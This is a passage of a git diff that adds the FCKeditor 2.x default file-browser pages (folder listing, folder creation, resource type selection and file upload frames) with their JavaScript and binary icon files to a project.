+                                                               <input type="submit" value="Upload" onclick="SetAction();" />
+                                                       </form>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               URL: <span id="eUrl"></span>
+                       </td>
+               </tr>
+               <tr>
+                       <td height="100%" valign="top">
+                               <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
+                                       height="100%"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmactualfolder.html b/fckeditor/editor/filemanager/browser/default/frmactualfolder.html
new file mode 100755 (executable)
index 0000000..d9ee7c2
--- /dev/null
@@ -0,0 +1,71 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmactualfolder.html
+ *     This page shows the actual folder path.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript">
+
+function OnResize()
+{
+       divName.style.width = "1px" ;
+       divName.style.width = tdName.offsetWidth + "px" ;
+}
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       document.getElementById('tdName').innerHTML = folderPath ;
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedActualFolder = true ;
+}
+
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <button style="WIDTH: 100%" type="button">
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td><img height="32" alt="" src="images/FolderOpened32.gif" width="32"></td>
+                                                               <td>&nbsp;</td>
+                                                               <td id="tdName" width="100%" nowrap class="ActualFolder">/</td>
+                                                               <td>&nbsp;</td>
+                                                               <td><img height="8" src="images/ButtonArrow.gif" width="12"></td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                               </table>
+                                       </button>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmcreatefolder.html b/fckeditor/editor/filemanager/browser/default/frmcreatefolder.html
new file mode 100755 (executable)
index 0000000..9840b90
--- /dev/null
@@ -0,0 +1,117 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmcreatefolder.html
+ *     Page used to create new folders in the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       oConnector.ResourceType = resourceType ;
+       oConnector.CurrentFolder = folderPath ;
+}
+
+function CreateFolder()
+{
+       var sFolderName ;
+       
+       while ( true ) 
+       {
+               sFolderName = prompt( 'Type the name of the new folder:', '' ) ;
+       
+               if ( sFolderName == null )
+                       return ;
+               else if ( sFolderName.length == 0 )
+                       alert( 'Please type the folder name' ) ;
+               else
+                       break ;
+       }
+       
+       oConnector.SendCommand( 'CreateFolder', 'NewFolderName=' + encodeURIComponent( sFolderName) , CreateFolderCallBack ) ;
+}
+
+function CreateFolderCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) == 0 )
+               window.parent.frames['frmResourcesList'].Refresh() ;
+       
+       /*
+       // Get the current folder path.
+       var oNode = fckXml.SelectSingleNode( 'Connector/Error' ) ;
+       var iErrorNumber = parseInt( oNode.attributes.getNamedItem('number').value ) ;
+       
+       switch ( iErrorNumber )
+       {
+               case 0 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       break ;
+               case 101 :
+                       alert( 'Folder already exists' ) ;
+                       break ;
+               case 102 :
+                       alert( 'Invalid folder name' ) ;
+                       break ;
+               case 103 :
+                       alert( 'You have no permissions to create the folder' ) ;
+                       break ;
+               case 110 :
+                       alert( 'Unknown error creating folder' ) ;
+                       break ;
+               default :
+                       alert( 'Error creating folder. Error number: ' + iErrorNumber ) ;
+                       break ;
+       }
+       */
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedCreateFolder = true ;
+}
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <button type="button" style="WIDTH: 100%" onclick="CreateFolder();">
+                                               <table cellSpacing="0" cellPadding="0" border="0">
+                                                       <tr>
+                                                               <td><img height="16" alt="" src="images/Folder.gif" width="16"></td>
+                                                               <td>&nbsp;</td>
+                                                               <td nowrap>Create New Folder</td>
+                                                       </tr>
+                                               </table>
+                                       </button>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmfolders.html b/fckeditor/editor/filemanager/browser/default/frmfolders.html
new file mode 100755 (executable)
index 0000000..35c1e82
--- /dev/null
@@ -0,0 +1,200 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmfolders.html
+ *     This page shows the list of folders available in the parent folder 
+ *     of the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+var sActiveFolder ;
+
+var bIsLoaded = false ;
+var iIntervalId ;
+
+var oListManager = new Object() ;
+
+oListManager.Init = function()
+{
+       this.Table = document.getElementById('tableFiles') ;
+       this.UpRow = document.getElementById('trUp') ;
+
+       this.TableRows = new Object() ; 
+}
+
+oListManager.Clear = function()
+{
+       // Remove all other rows available.
+       while ( this.Table.rows.length > 1 )
+               this.Table.deleteRow(1) ;
+
+       // Reset the TableRows collection.
+       this.TableRows = new Object() ;
+}
+
+oListManager.AddItem = function( folderName, folderPath )
+{
+       // Create the new row.
+       var oRow = this.Table.insertRow(-1) ;
+       oRow.className = 'FolderListFolder' ;
+
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath + '\');return false;">' ;
+
+       // Add the folder icon cell.
+       var oCell = oRow.insertCell(-1) ;
+       oCell.width = 16 ;
+       oCell.innerHTML = sLink + '<img alt="" src="images/spacer.gif" width="16" height="16" border="0"></a>' ;
+
+       // Add the folder name cell.
+       oCell = oRow.insertCell(-1) ;
+       oCell.noWrap = true ;
+       oCell.innerHTML = '&nbsp;' + sLink + folderName + '</a>' ;
+       
+       this.TableRows[ folderPath ] = oRow ;
+}
+
+oListManager.ShowUpFolder = function( upFolderPath )
+{
+       this.UpRow.style.display = ( upFolderPath != null ? '' : 'none' ) ;
+       
+       if ( upFolderPath != null )
+       {
+               document.getElementById('linkUpIcon').onclick = document.getElementById('linkUp').onclick = function()
+               {
+                       LoadFolders( upFolderPath ) ;
+                       return false ;
+               }
+       }
+}
+
+function CheckLoaded()
+{
+       if ( window.top.IsLoadedActualFolder 
+               && window.top.IsLoadedCreateFolder 
+               && window.top.IsLoadedUpload
+               && window.top.IsLoadedResourcesList )
+       {
+               window.clearInterval( iIntervalId ) ;
+               bIsLoaded = true ;
+               OpenFolder( sActiveFolder ) ;
+       }
+}
+
+function OpenFolder( folderPath )
+{
+       sActiveFolder = folderPath ;
+
+       if ( ! bIsLoaded )
+       {
+               if ( ! iIntervalId )
+                       iIntervalId = window.setInterval( CheckLoaded, 100 ) ;
+               return ;
+       }
+
+       // Change the style for the select row (to show the opened folder).
+       for ( var sFolderPath in oListManager.TableRows )
+       {
+               oListManager.TableRows[ sFolderPath ].className = 
+                       ( sFolderPath == folderPath ? 'FolderListCurrentFolder' : 'FolderListFolder' ) ;
+       }
+
+       // Set the current folder in all frames.
+       window.parent.frames['frmActualFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       window.parent.frames['frmCreateFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       window.parent.frames['frmUpload'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       
+       // Load the resources list for this folder.
+       window.parent.frames['frmResourcesList'].LoadResources( oConnector.ResourceType, folderPath ) ;
+}
+
+function LoadFolders( folderPath )
+{
+       // Clear the folders list.
+       oListManager.Clear() ;
+
+       // Get the parent folder path.
+       var sParentFolderPath ;
+       if ( folderPath != '/' )
+               sParentFolderPath = folderPath.substring( 0, folderPath.lastIndexOf( '/', folderPath.length - 2 ) + 1 ) ;
+
+       // Show/Hide the Up Folder.
+       oListManager.ShowUpFolder( sParentFolderPath ) ;
+       
+       if ( folderPath != '/' )
+       {
+               sActiveFolder = folderPath ;
+               oConnector.CurrentFolder = sParentFolderPath ;
+               oConnector.SendCommand( 'GetFolders', null, GetFoldersCallBack ) ;
+       }
+       else
+               OpenFolder( '/' ) ;
+}
+
+function GetFoldersCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) != 0 )
+               return ;
+               
+       // Get the current folder path.
+       var oNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+       var sCurrentFolderPath = oNode.attributes.getNamedItem('path').value ;
+       
+       var oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+       
+       for ( var i = 0 ; i < oNodes.length ; i++ )
+       {
+               var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+               oListManager.AddItem( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ;
+       }
+       
+       OpenFolder( sActiveFolder ) ;
+}
+
+function SetResourceType( type )
+{
+       oConnector.ResourceType = type ;
+       LoadFolders( '/' ) ;
+}
+
+window.onload = function()
+{
+       oListManager.Init() ;
+       LoadFolders( '/' ) ;
+}
+               </script>
+       </head>
+       <body class="FileArea" bottomMargin="10" leftMargin="10" topMargin="10" rightMargin="10">
+               <table id="tableFiles" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr id="trUp" style="DISPLAY: none">
+                               <td width="16"><a id="linkUpIcon" href="#"><img alt="" src="images/FolderUp.gif" width="16" height="16" border="0"></a></td>
+                               <td nowrap width="100%">&nbsp;<a id="linkUp" href="#">..</a></td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmresourceslist.html b/fckeditor/editor/filemanager/browser/default/frmresourceslist.html
new file mode 100755 (executable)
index 0000000..430caa5
--- /dev/null
@@ -0,0 +1,164 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmresourceslist.html
+ *     This page shows all resources available in a folder in the File Browser.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <link href="browser.css" type="text/css" rel="stylesheet" />
+       <script type="text/javascript" src="js/common.js"></script>
+       <script type="text/javascript">
+
+var oListManager = new Object() ;
+
+oListManager.Clear = function()
+{
+       document.body.innerHTML = '' ;
+}
+
+oListManager.GetFolderRowHtml = function( folderName, folderPath )
+{
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+       return '<tr>' +
+                       '<td width="16">' +
+                               sLink +
+                               '<img alt="" src="images/Folder.gif" width="16" height="16" border="0"></a>' +
+                       '</td><td nowrap colspan="2">&nbsp;' +
+                               sLink + 
+                               folderName + 
+                               '</a>' +
+               '</td></tr>' ;
+}
+
+oListManager.GetFileRowHtml = function( fileName, fileUrl, fileSize )
+{
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFile(\'' + fileUrl.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+       // Get the file icon.
+       var sIcon = oIcons.GetIcon( fileName ) ;
+
+       return '<tr>' +
+                       '<td width="16">' +
+                               sLink + 
+                               '<img alt="" src="images/icons/' + sIcon + '.gif" width="16" height="16" border="0"></a>' +
+                       '</td><td>&nbsp;' +
+                               sLink + 
+                               fileName + 
+                               '</a>' +
+                       '</td><td align="right" nowrap>&nbsp;' +
+                               fileSize + 
+                               ' KB' +
+               '</td></tr>' ;
+}
+
+function OpenFolder( folderPath )
+{
+       // Load the resources list for this folder.
+       window.parent.frames['frmFolders'].LoadFolders( folderPath ) ;
+}
+
+function OpenFile( fileUrl )
+{
+       window.top.opener.SetUrl( fileUrl ) ;
+       window.top.close() ;
+       window.top.opener.focus() ;
+}
+
+function LoadResources( resourceType, folderPath )
+{
+       oListManager.Clear() ;
+       oConnector.ResourceType = resourceType ;
+       oConnector.CurrentFolder = folderPath ;
+       oConnector.SendCommand( 'GetFoldersAndFiles', null, GetFoldersAndFilesCallBack ) ;
+}
+
+function Refresh()
+{
+       LoadResources( oConnector.ResourceType, oConnector.CurrentFolder ) ;
+}
+
+function GetFoldersAndFilesCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) != 0 )
+               return ;
+
+       // Get the current folder path.
+       var oFolderNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+       if ( oFolderNode == null )
+       {
+               alert( 'The server didn\'t reply with a proper XML file\r\nCheck your configuration.' ) ;
+               return ;
+       }
+       var sCurrentFolderPath  = oFolderNode.attributes.getNamedItem('path').value ;
+       var sCurrentFolderUrl   = oFolderNode.attributes.getNamedItem('url').value ;
+
+//     var dTimer = new Date() ;
+
+       var oHtml = new StringBuilder( '<table id="tableFiles" cellspacing="1" cellpadding="0" width="100%" border="0">' ) ;
+
+       // Add the Folders.     
+       var oNodes ;
+       oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+       for ( var i = 0 ; i < oNodes.length ; i++ )
+       {
+               var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+               oHtml.Append( oListManager.GetFolderRowHtml( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ) ;
+       }
+
+       // Add the Files.       
+       oNodes = fckXml.SelectNodes( 'Connector/Files/File' ) ;
+       for ( var j = 0 ; j < oNodes.length ; j++ )
+       {
+               var oNode = oNodes[j] ;
+               var sFileName = oNode.attributes.getNamedItem('name').value ;
+               var sFileSize = oNode.attributes.getNamedItem('size').value ;
+
+               // Get the optional "url" attribute. If not available, build the url.
+               var oFileUrlAtt = oNodes[j].attributes.getNamedItem('url') ;
+               var sFileUrl = oFileUrlAtt != null ? oFileUrlAtt.value : sCurrentFolderUrl + sFileName ;
+               
+               oHtml.Append( oListManager.GetFileRowHtml( sFileName, sFileUrl, sFileSize ) ) ;
+       }
+
+       oHtml.Append( '<\/table>' ) ;
+       
+       document.body.innerHTML = oHtml.ToString() ;
+
+//     window.top.document.title = 'Finished processing in ' + ( ( ( new Date() ) - dTimer ) / 1000 ) + ' seconds' ;
+
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedResourcesList = true ;
+}
+       </script>
+</head>
+<body class="FileArea" bottommargin="10" leftmargin="10" topmargin="10" rightmargin="10">
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmresourcetype.html b/fckeditor/editor/filemanager/browser/default/frmresourcetype.html
new file mode 100755 (executable)
index 0000000..f705f4a
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmresourcetype.html
+ *     This page shows the list of available resource types.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+function SetResourceType( type )
+{
+       window.parent.frames["frmFolders"].SetResourceType( type ) ;
+}
+
+var aTypes = [
+       ['File','File'],
+       ['Image','Image'],
+       ['Flash','Flash'],
+       ['Media','Media']
+] ;
+
+window.onload = function()
+{
+       for ( var i = 0 ; i < aTypes.length ; i++ )
+       {
+               if ( oConnector.ShowAllTypes || aTypes[i][0] == oConnector.ResourceType )
+                       AddSelectOption( document.getElementById('cmbType'), aTypes[i][1], aTypes[i][0] ) ;
+       }
+}
+
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td nowrap>
+                                       Resource Type<BR>
+                                       <select id="cmbType" style="WIDTH: 100%" onchange="SetResourceType(this.value);">
+                                       </select>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmupload.html b/fckeditor/editor/filemanager/browser/default/frmupload.html
new file mode 100755 (executable)
index 0000000..21440f1
--- /dev/null
@@ -0,0 +1,117 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmupload.html
+ *     Page used to upload new files in the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet" />
+               <script type="text/javascript" src="js/common.js"></script>
+               <script type="text/javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       var sUrl = oConnector.ConnectorUrl + 'Command=FileUpload' ;
+       sUrl += '&Type=' + resourceType ;
+       sUrl += '&CurrentFolder=' + encodeURIComponent( folderPath ) ;
+       
+       document.getElementById('frmUpload').action = sUrl ;
+}
+
+function OnSubmit()
+{
+       if ( document.getElementById('NewFile').value.length == 0 )
+       {
+               alert( 'Please select a file from your computer' ) ;
+               return false ;
+       }
+
+       // Set the interface elements.
+       document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder (Upload in progress, please wait...)' ;
+       document.getElementById('btnUpload').disabled = true ;
+       
+       return true ;
+}
+
+function OnUploadCompleted( errorNumber, data )
+{
+       // Reset the Upload Worker Frame.
+       window.parent.frames['frmUploadWorker'].location = 'javascript:void(0)' ;
+       
+       // Reset the upload form (On IE we must do a little trick to avout problems).
+       if ( document.all )
+               document.getElementById('NewFile').outerHTML = '<input id="NewFile" name="NewFile" style="WIDTH: 100%" type="file">' ;
+       else
+               document.getElementById('frmUpload').reset() ;
+       
+       // Reset the interface elements.
+       document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder' ;
+       document.getElementById('btnUpload').disabled = false ;
+       
+       switch ( errorNumber )
+       {
+               case 0 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       break ;
+               case 1 :        // Custom error.
+                       alert( data ) ;
+                       break ;
+               case 201 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + data + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedUpload = true ;
+}
+               </script>
+       </head>
+       <body bottommargin="0" topmargin="0">
+               <form id="frmUpload" action="" target="frmUploadWorker" method="post" enctype="multipart/form-data" onsubmit="return OnSubmit();">
+                       <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+                               <tr>
+                                       <td nowrap="nowrap">
+                                               <span id="eUploadMessage">Upload a new file in this folder</span><br>
+                                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td width="100%"><input id="NewFile" name="NewFile" style="WIDTH: 100%" type="file"></td>
+                                                               <td nowrap="nowrap">&nbsp;<input id="btnUpload" type="submit" value="Upload"></td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </form>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif b/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif
new file mode 100755 (executable)
index 0000000..a355e5a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/Folder.gif b/fckeditor/editor/filemanager/browser/default/images/Folder.gif
new file mode 100755 (executable)
index 0000000..ab6824d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/Folder.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/Folder32.gif b/fckeditor/editor/filemanager/browser/default/images/Folder32.gif
new file mode 100755 (executable)
index 0000000..b93b752
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/Folder32.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif b/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif
new file mode 100755 (executable)
index 0000000..0c5dd41
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif b/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif
new file mode 100755 (executable)
index 0000000..3e3fcf5
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif b/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif
new file mode 100755 (executable)
index 0000000..ad5bc20
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/FolderUp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif
new file mode 100755 (executable)
index 0000000..699e6a3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif
new file mode 100755 (executable)
index 0000000..97025bb
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif
new file mode 100755 (executable)
index 0000000..f3c7f82
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif
new file mode 100755 (executable)
index 0000000..b62bd02
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif
new file mode 100755 (executable)
index 0000000..976997b
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif
new file mode 100755 (executable)
index 0000000..9b54964
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif
new file mode 100755 (executable)
index 0000000..b557568
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif
new file mode 100755 (executable)
index 0000000..7584993
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif
new file mode 100755 (executable)
index 0000000..923079f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif
new file mode 100755 (executable)
index 0000000..df5f579
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif
new file mode 100755 (executable)
index 0000000..a9bdf00
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif
new file mode 100755 (executable)
index 0000000..a9bdf00
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif
new file mode 100755 (executable)
index 0000000..de78363
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif
new file mode 100755 (executable)
index 0000000..fe0c98e
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif
new file mode 100755 (executable)
index 0000000..d3af9e8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif differ
